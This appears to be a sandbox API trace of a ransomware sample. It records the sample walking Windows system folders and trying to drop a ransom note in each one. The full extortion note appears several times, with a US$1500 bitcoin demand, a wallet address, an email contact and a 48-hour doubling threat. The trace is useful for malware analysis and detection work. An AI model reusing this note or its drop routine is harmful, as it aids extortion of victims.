returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\panasonic.browser" [0165.393] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4684e3, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf4684e3, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x976fb09f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x653f, dwReserved0=0x0, dwReserved1=0x0, cFileName="pie.browser", cAlternateFileName="PIE~1.BRO")) returned 1 [0165.393] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.393] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pie.browser") returned -1 [0165.393] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pie.browser") returned -1 [0165.393] lstrcmpiA (lpString1="", lpString2="pie.browser") returned -1 [0165.393] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\panasonic.browser") returned="panasonic.browser" [0165.393] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.393] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.393] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.393] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.393] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.394] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.394] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.394] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.394] CloseHandle (hObject=0xffffffff) returned 0 [0165.394] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="pie.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\pie.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\pie.browser" [0165.395] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf48e640, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf48e640, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x977211fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="webtv.browser", cAlternateFileName="WEBTV~1.BRO")) returned 1 [0165.395] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.395] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="webtv.browser") returned -1 [0165.395] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="webtv.browser") returned -1 [0165.395] lstrcmpiA (lpString1="", lpString2="webtv.browser") returned -1 [0165.395] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\pie.browser") returned="pie.browser" [0165.395] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.395] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.395] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.395] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.395] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.395] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.395] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.396] CloseHandle (hObject=0xffffffff) returned 0 [0165.396] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="webtv.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\webtv.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\webtv.browser" [0165.396] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4da8fa, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf4da8fa, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9774735b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xcf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="winwap.browser", cAlternateFileName="WINWAP~1.BRO")) returned 1 [0165.396] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.396] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="winwap.browser") returned -1 [0165.396] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="winwap.browser") returned -1 [0165.396] lstrcmpiA (lpString1="", lpString2="winwap.browser") returned -1 [0165.396] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\webtv.browser") returned="webtv.browser" [0165.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.396] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.396] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.396] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.397] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.397] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.397] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.397] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.397] CloseHandle (hObject=0xffffffff) returned 0 [0165.397] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="winwap.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\winwap.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\winwap.browser" [0165.397] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4da8fa, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf4da8fa, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9774735b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="xiino.browser", cAlternateFileName="XIINO~1.BRO")) returned 1 [0165.398] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.398] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="xiino.browser") returned -1 [0165.398] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="xiino.browser") returned -1 [0165.398] lstrcmpiA (lpString1="", lpString2="xiino.browser") returned -1 [0165.398] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\winwap.browser") returned="winwap.browser" [0165.398] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.398] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.398] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.398] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.398] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.398] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.398] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.398] CloseHandle (hObject=0xffffffff) returned 0 [0165.398] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="xiino.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\xiino.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\xiino.browser" [0165.399] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4da8fa, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf4da8fa, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9774735b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="xiino.browser", cAlternateFileName="XIINO~1.BRO")) returned 0 [0165.399] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.401] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112452f4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112452f4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112452f4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275", cAlternateFileName="AM79FD~1.163")) returned 1 [0165.401] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275") returned -1 [0165.401] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275") returned -1 [0165.401] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.401] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275" [0165.401] lstrlenA (lpString="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275") returned 101 [0165.401] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112452f4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112452f4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112452f4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.402] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.402] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112452f4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112452f4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112452f4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.402] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.402] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.402] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb40d7768, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb40d7768, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x961dae7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_regiis.exe", cAlternateFileName="ASPNET~1.EXE")) returned 1 [0165.402] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.402] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aspnet_regiis.exe") returned 1 [0165.402] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aspnet_regiis.exe") returned 1 [0165.402] lstrcmpiA (lpString1="", lpString2="aspnet_regiis.exe") returned -1 [0165.402] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\*.*") returned="*.*" [0165.402] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\" [0165.402] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\") returned="" [0165.402] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\", lpString2="HOW TO DECRYPT FILES.txt" | out: 